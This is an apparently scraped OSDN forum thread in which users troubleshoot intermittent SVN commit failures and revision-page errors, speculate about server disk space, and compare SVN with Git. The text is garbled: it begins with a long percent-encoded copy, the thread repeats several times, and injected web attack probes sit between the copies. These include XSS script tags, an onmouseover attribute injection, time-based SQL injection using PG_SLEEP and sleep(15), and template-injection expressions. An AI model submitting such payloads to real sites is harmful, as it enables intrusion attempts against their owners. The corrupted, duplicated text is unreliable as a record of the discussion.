%66%6F%72%65%2C%20%77%68%65%6E%20%74%68%65%20%65%72%72%6F%72%20%68%61%70%70%65%6E%65%64%20%2C%20%49%20%63%6F%75%6C%64%6E%27%74%20%73%65%65%20%74%68%61%74%20%70%61%67%65%20%61%73%20%61%6E%20%65%72%72%6F%72%20%77%61%73%20%64%69%73%70%6C%61%79%65%64%2E%20%41%74%20%74%68%69%73%20%6D%6F%6D%65%6E%74%20%49%20%63%61%6E%20%73%65%65%2C%20%73%6F%20%49%20%67%75%65%73%73%20%49%20%64%6F%6E%27%74%20%68%61%76%65%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%61%6E%79%6D%6F%72%65%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%37%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%54%6F%64%61%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%72%65%74%75%72%6E%73%2E%2E%2E%20%73%6F%6D%65%20%6D%69%6E%75%74%65%73%20%61%66%74%65%72%20%6D%79%20%6C%61%73%74%20%74%72%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%67%6F%6E%65%2E%2E%2E%20%57%68%61%74%20%61%72%65%20%68%65%70%70%65%6E%69%6E%67%3F%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%38%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%37%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%54%6F%64%61%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%72%65%74%75%72%6E%73%2E%2E%2E%20%73%6F%6D%65%20%6D%69%6E%75%74%65%73%20%61%66%74%65%72%20%6D%79%20%6C%61%73%74%20%74%72%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%67%6F%6E%65%2E%2E%2E%20%57%68%61%74%20%61%72%65%20%68%65%70%70%65%6E%69%6E%67%3F%0A%3E%20%0A%3E%20%68%74%74%70%73%3A%2F%2F%73%74%61%63%6B%6F%76%65%72%66%6C%6F%77%2E%63%6F%6D%2F%71%75%65%73%74%69%6F%6E%73%2F%39%30%31%32%35%33%38%2F%73%76%6E%2D%63%6F%6D%6D%69%74%2D%65%72%72%6F%72%2D%63%6F%75%6C%64%6E%74%2D%70%65%72%66%6F%72%6D%2D%61%74%6F%6D%69%63%2D%6F%70%65%72%61%74%69%6F%6E%0A%3E%20%0A%3E%20%4D%79%20%67%75%65%73%73%20%69%73%20%74%68%61%74%20%74%68%65%20%4F%53%44%4E%20%6F%77%6E%65%72%20%63%6F%6D%70%61%6E%79%20%69%73%20%73%6C%61%63%6B%69%6E%67%20%6F%6E%20%73%65%72%76%65%72%20%6D%61%69%6E%74%65%6E%61%6E%63%65%2E%20%52%65%61%64%20%74%68%65%20%70%6F%73%74%20%77%68%65%72%65%20%69%74%20%73%61%79%73%20%22%64%69%73%6B%20%73%70%61%63%65%22%2E%20%49%20%61%6D%20%6E%6F%74%20%65%6E%74%69%72%65%6C%79%20%73%75%72%65%21%20%49%20%6E%65%76%65%72%20%67%65%74%20%61%6E%79%20%45%2D%4D%61%69%6C%20%72%65%70%6C%69%65%73%20%66%72%6F%6D%20%74%68%65%6D%20%61%6E%64%20%6D%79%20%4A%61%70%61%6E%65%73%65%20%61%69%6E%27%74%20%67%6F%6F%64%20%65%6E%6F%75%67%68%20%74%6F%20%63%61%6C%6C%20%74%68%65%6D%2E%2E%2E%20%41%20%72%65%61%6C%20%73%68%61%6D%65%20%62%65%63%61%75%73%65%20%4F%53%44%4E%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%73%6F%20%77%65%6C%6C%20%77%68%65%6E%20%53%68%75%6A%69%20%53%61%64%6F%20%28%20%68%74%74%70%73%3A%2F%2F%6F%73%64%6E%2E%6E%65%74%2F%75%73%65%72%73%2F%73%61%64%6F%2F%20%29%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%74%68%69%6E%67%73%21%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%39%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%38%20%71%75%69%72%65%74%5D%0A%3E%20%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%37%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%3E%20%54%6F%64%61%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%72%65%74%75%72%6E%73%2E%2E%2E%20%73%6F%6D%65%20%6D%69%6E%75%74%65%73%20%61%66%74%65%72%20%6D%79%20%6C%61%73%74%20%74%72%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%67%6F%6E%65%2E%2E%2E%20%57%68%61%74%20%61%72%65%20%68%65%70%70%65%6E%69%6E%67%3F%0A%3E%20%3E%20%0A%3E%20%3E%20%68%74%74%70%73%3A%2F%2F%73%74%61%63%6B%6F%76%65%72%66%6C%6F%77%2E%63%6F%6D%2F%71%75%65%73%74%69%6F%6E%73%2F%39%30%31%32%35%33%38%2F%73%76%6E%2D%63%6F%6D%6D%69%74%2D%65%72%72%6F%72%2D%63%6F%75%6C%64%6E%74%2D%70%65%72%66%6F%72%6D%2D%61%74%6F%6D%69%63%2D%6F%70%65%72%61%74%69%6F%6E%0A%3E%20%3E%20%0A%3E%20%3E%20%4D%79%20%67%75%65%73%73%20%69%73%20%74%68%61%74%20%74%68%65%20%4F%53%44%4E%20%6F%77%6E%65%72%20%63%6F%6D%70%61%6E%79%20%69%73%20%73%6C%61%63%6B%69%6E%67%20%6F%6E%20%73%65%72%76%65%72%20%6D%61%69%6E%74%65%6E%61%6E%63%65%2E%20%52%65%61%64%20%74%68%65%20%70%6F%73%74%20%77%68%65%72%65%20%69%74%20%73%61%79%73%20%22%64%69%73%6B%20%73%70%61%63%65%22%2E%20%49%20%61%6D%20%6E%6F%74%20%65%6E%74%69%72%65%6C%79%20%73%75%72%65%21%20%49%20%6E%65%76%65%72%20%67%65%74%20%61%6E%79%20%45%2D%4D%61%69%6C%20%72%65%70%6C%69%65%73%20%66%72%6F%6D%20%74%68%65%6D%20%61%6E%64%20%6D%79%20%4A%61%70%61%6E%65%73%65%20%61%69%6E%27%74%20%67%6F%6F%64%20%65%6E%6F%75%67%68%20%74%6F%20%63%61%6C%6C%20%74%68%65%6D%2E%2E%2E%20%41%20%72%65%61%6C%20%73%68%61%6D%65%20%62%65%63%61%75%73%65%20%4F%53%44%4E%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%73%6F%20%77%65%6C%6C%20%77%68%65%6E%20%53%68%75%6A%69%20%53%61%64%6F%20%28%20%68%74%74%70%73%3A%2F%2F%6F%73%64%6E%2E%6E%65%74%2F%75%73%65%72%73%2F%73%61%64%6F%2F%20%29%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%74%68%69%6E%67%73%21%0A%3E%20%0A%3E%20%49%20%61%73%73%75%6D%65%20%74%68%69%73%20%69%73%73%75%65%20%69%73%20%6E%6F%74%20%61%66%66%65%63%74%69%6E%67%20%65%76%65%72%79%6F%6E%65%2E%20%49%20%68%61%76%65%20%6F%76%65%72%20%32%30%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%68%65%72%65%2E%20%44%6F%65%73%20%69%74%20%68%61%76%65%20%73%6F%6D%65%74%68%69%6E%67%20%74%6F%20%64%6F%20%77%69%74%68%20%69%74%3F%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%31%30%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%39%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%49%20%61%73%73%75%6D%65%20%74%68%69%73%20%69%73%73%75%65%20%69%73%20%6E%6F%74%20%61%66%66%65%63%74%69%6E%67%20%65%76%65%72%79%6F%6E%65%2E%20%49%20%68%61%76%65%20%6F%76%65%72%20%32%30%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%68%65%72%65%2E%20%44%6F%65%73%20%69%74%20%68%61%76%65%20%73%6F%6D%65%74%68%69%6E%67%20%74%6F%20%64%6F%20%77%69%74%68%20%69%74%3F%0A%3E%20%0A%3E%20%46%75%6E%6E%79%20%63%6F%69%6E%63%69%64%65%6E%63%65%20%49%20%77%6F%75%6C%64%20%73%61%79%21%20%49%74%20%63%6F%75%6C%64%20%6A%75%73%74%20%73%68%6F%77%20%68%6F%77%20%65%6E%74%68%75%73%69%61%73%74%20%77%65%20%61%72%65%20%61%62%6F%75%74%20%64%65%76%65%6C%6F%70%6D%65%6E%74%20%61%6E%64%20%53%75%62%56%65%72%73%69%6F%6E%20%28%53%56%4E%29%2E%20%41%6E%79%77%61%79%2C%20%49%20%64%69%64%20%63%6F%75%6E%74%2C%20%79%6F%75%20%63%75%72%72%65%6E%74%6C%79%20%68%61%76%65%20%32%33%20%61%6E%64%20%74%68%61%74%27%73%20%6F%6E%65%20%6D%6F%72%65%20%74%68%61%6E%20%49%20%68%61%76%65%2E%2E%2E%20%52%65%61%6C%6C%79%20%66%75%6E%6E%79%20%F0%9F%A4%A3%20%49%6D%61%67%69%6E%65%20%77%68%61%74%20%66%72%69%67%67%69%6E%20%77%6F%72%6B%20%61%20%6D%69%67%72%61%74%69%6F%6E%20%66%6F%72%20%6F%75%72%20%63%6F%64%65%62%61%73%65%73%20%77%6F%75%6C%64%20%69%6D%70%6C%79%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%32%36%20%28%E5%8C%BF%E5%90%8D%29%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%31%30%20%71%75%69%72%65%74%5D%0A%3E%20%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%39%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%3E%20%49%20%61%73%73%75%6D%65%20%74%68%69%73%20%69%73%73%75%65%20%69%73%20%6E%6F%74%20%61%66%66%65%63%74%69%6E%67%20%65%76%65%72%79%6F%6E%65%2E%20%49%20%68%61%76%65%20%6F%76%65%72%20%32%30%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%68%65%72%65%2E%20%44%6F%65%73%20%69%74%20%68%61%76%65%20%73%6F%6D%65%74%68%69%6E%67%20%74%6F%20%64%6F%20%77%69%74%68%20%69%74%3F%0A%3E%20%3E%20%0A%3E%20%3E%20%46%75%6E%6E%79%20%63%6F%69%6E%63%69%64%65%6E%63%65%20%49%20%77%6F%75%6C%64%20%73%61%79%21%20%49%74%20%63%6F%75%6C%64%20%6A%75%73%74%20%73%68%6F%77%20%68%6F%77%20%65%6E%74%68%75%73%69%61%73%74%20%77%65%20%61%72%65%20%61%62%6F%75%74%20%64%65%76%65%6C%6F%70%6D%65%6E%74%20%61%6E%64%20%53%75%62%56%65%72%73%69%6F%6E%20%28%53%56%4E%29%2E%20%41%6E%79%77%61%79%2C%20%49%20%64%69%64%20%63%6F%75%6E%74%2C%20%79%6F%75%20%63%75%72%72%65%6E%74%6C%79%20%68%61%76%65%20%32%33%20%61%6E%64%20%74%68%61%74%27%73%20%6F%6E%65%20%6D%6F%72%65%20%74%68%61%6E%20%49%20%68%61%76%65%2E%2E%2E%20%52%65%61%6C%6C%79%20%66%75%6E%6E%79%20%F0%9F%A4%A3%20%49%6D%61%67%69%6E%65%20%77%68%61%74%20%66%72%69%67%67%69%6E%20%77%6F%72%6B%20%61%20%6D%69%67%72%61%74%69%6F%6E%20%66%6F%72%20%6F%75%72%20%63%6F%64%65%62%61%73%65%73%20%77%6F%75%6C%64%20%69%6D%70%6C%79%2E%0A%3E%20%0A%3E%20%41%62%6F%75%74%20%53%56%4E%2C%20%77%65%6C%6C%2C%20%62%65%73%69%64%65%73%20%6E%6F%74%20%6C%69%6B%69%6E%67%20%74%6F%20%66%6F%6C%6C%6F%77%20%66%61%64%73%2C%20%49%20%62%65%6C%69%65%76%65%20%74%68%61%74%20%66%6F%72%20%77%68%61%74%20%49%20%64%6F%2C%20%53%56%4E%20%69%73%20%6D%75%63%68%20%62%65%74%74%65%72%20%74%68%61%6E%20%47%49%54%2E%20%53%69%6D%70%6C%65%20%74%6F%20%75%73%65%2C%20%61%6E%64%20%54%6F%72%74%6F%69%73%65%20%53%56%4E%2C%20%69%6E%20%6D%79%20%6F%70%69%6E%69%6F%6E%2C%20%69%73%20%6D%75%63%68%20%62%65%74%74%65%72%20%64%6F%6E%65%20%74%68%61%6E%20%54%6F%72%74%6F%69%73%65%20%47%49%54%20%28%77%68%69%63%68%20%73%65%65%6D%73%20%74%6F%20%68%61%76%65%20%62%65%65%6E%20%6D%61%64%65%20%69%6E%20%61%20%68%75%72%72%79%20%74%6F%20%61%62%73%6F%72%62%20%61%20%67%72%6F%77%69%6E%67%20%6D%61%72%6B%65%74%29%2E%0A%3E%20%0A%3E%20%41%62%6F%75%74%20%6F%75%72%20%70%72%6F%62%6C%65%6D%2C%20%61%6C%74%68%6F%75%67%68%20%69%74%27%73%20%61%20%66%75%6E%6E%79%20%63%6F%69%6E%63%69%64%65%6E%63%65%2C%20%6D%61%79%62%65%2C%20%69%6E%20%66%61%63%74%2C%20%77%65%20%61%72%65%20%74%61%6B%69%6E%67%20%75%70%20%74%6F%6F%20%6D%75%63%68%20%73%70%61%63%65%20%6F%6E%20%74%68%65%20%4F%53%44%4E%2C%20%49%20%64%6F%6E%27%74%20%6B%6E%6F%77%2E%2E%2E%20%49%66%20%6F%6E%6C%79%20%73%6F%6D%65%6F%6E%65%20%63%61%6D%65%20%68%65%72%65%20%74%6F%20%73%61%79%20%69%66%20%74%68%69%73%20%69%73%20%69%74%2C%20%49%20%77%6F%75%6C%64%20%74%72%61%6E%73%66%65%72%20%73%6F%6D%65%20%6F%66%20%6D%79%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%62%61%63%6B%20%74%6F%20%53%6F%75%72%63%65%46%6F%72%67%65%2C%20%62%79%20%74%68%65%20%77%61%79%2C%20%49%27%6D%20%6F%6E%6C%79%20%68%65%72%65%20%74%6F%64%61%79%20%6F%6E%20%4F%53%44%4E%2C%20%62%65%63%61%75%73%65%20%53%6F%75%72%63%65%46%6F%72%67%65%20%77%61%73%20%68%61%76%69%6E%67%20%61%20%6C%6F%74%20%6F%66%20%70%72%6F%62%6C%65%6D%73%20%61%20%66%65%77%20%79%65%61%72%73%20%61%67%6F%2E%20%49%20%64%69%64%6E%27%74%20%77%61%6E%74%20%74%6F%20%6D%69%67%72%61%74%65%20%65%76%65%72%79%74%68%69%6E%67%20%62%61%63%6B%20%74%68%65%72%65%20%3A%2F%3C%53%63%52%69%50%74%20%3E%35%66%70%51%289409%29%3C%2F%73%43%72%69%70%54%3E
dfb${98991*97996}::.x
%31%3C%53%63%52%69%50%74%20%3E%37%68%72%75%289610%29%3C%2F%73%43%72%69%70%54%3E
1*if(now()=sysdate(),sleep(15),0)
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/\u003CScRiPt\5fpQ(9363)\u003C/sCripT\u003E
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/pqe9wphY' OR 595=(SELECT 595 FROM PG_SLEEP(15))--
1\u003CScRiPt\7hru(9117)\u003C/sCripT\u003E
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<ScRiPt>5fpQ(9821)</sCripT>
555"onmouseover=K55P(94592)"
1<ScRiPt>7hru(9467)</sCripT>
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/PWRSfC2l') OR 474=(SELECT 474 FROM PG_SLEEP(15))--
555"onmouseover=K55P(92092)"
555
555" XFIz=K55P([!+!]) KGr="
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
